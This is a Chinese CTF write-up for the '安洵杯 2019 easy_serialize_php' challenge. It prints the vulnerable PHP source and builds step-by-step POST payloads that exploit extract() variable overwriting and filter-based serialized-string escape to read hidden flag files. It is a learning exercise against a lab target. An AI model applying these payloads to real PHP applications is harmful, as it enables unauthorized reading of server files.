CTF第十二天

[安洵杯 2019]easy_serialize_php

前几天学了点反序列化,今天练练手
简单地说下序列化和反序列化后的格式
序列化后的结果是一串字符串。
反序列化会解开序列化的字符串生成相应类型的数据。

<?php

$function = @$_GET['f'];//得到f传入的参数
//对输入的$img参数进行检验
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//定义一些字符数组
    $filter = '/'.implode('|',$filter_arr).'/i';//用implode函数将上面的字符数组拼成一个字符串,中间用|隔开也就是'/php|flag|php5|php4|fl1g/ 并且忽略大小写
        return preg_replace($filter,'',$img);通过正则表达式将$img变量中的/php|flag|php5|php4|fl1g/的关键字替换成空格
}

//session的初始化
if($_SESSION){
    unset($_SESSION);//如果已存在session,会释放,重新生成
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
//extract函数:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了$a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//将session进行序列化
//这里写了三个文件
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

从上面的代码我们发现了几个文件,我们进phpinfo看看配置文件。
直接搜一些敏感点,fopen、disable_、root等等。第二行看到了独特的文件名。d0g3_f1ag.php
在这里插入图片描述
我们访问下这个文件,但是不行
在这里插入图片描述
看到这个
要让base64以后的字符串是d0g3_f1ag.php,那我们就得先加密d0g3_f1ag.php成ZDBnM19mMWFnLnBocA==
而 $ userinfo又是通过$serialize_info反序列化来的。
$serialize_info又是通过session序列化之后再过滤得来的。
也就是session ->(序列化) $serialize_info ->(反序列化) $ userinfo
在这里插入图片描述

session里面的img在这里赋值,我们指定的话会被sha1哈希,到时候就不能被base64解密了。这里就到了一个难点了。
payload如下

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

因为有变量覆盖漏洞,所以它可以直接这样被赋值进去。
序列化以后会变成这样

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:68:"a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

user中的字符串会被过滤变成这样

a:3:{s:4:"user";s:24:"";s:8:"function";s:68:"a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,24后面的6个flag被替换为空了,但是指定的长度还是24,怎么办呢?它会往后吞,不管什么符号,都吞掉24个字符。吞完之后变成了这样。
方括号中就是被吞下去的值,有24个字符

a:3:{s:4:"user";s:24:"【";s:8:"function";s:68:"a】";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

于是括号里的字符串就变成了user的值,这时候我们自己输入的function参数和img参数,就把真的参数替代掉了。
注意格式,我看别人的WP没有function参数也是可以的,但是必须要凑够3个参数,因为一开始序列化的时候指定了有3个参数 。
get传 f=show_image,
post传

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在这里插入图片描述
发现了新的文件
在这里插入图片描述
把它放到base64编码,再放到payload中
因为前后两个编码长度一样,所以不用改长度了

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

在这里插入图片描述
总结下知识点(我学到的)
1.php中implode的用法是把数组拼接成字符串
2.extract($_POST);有变量覆盖漏洞
3.敏感文件的泄露
4.绕过过滤

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值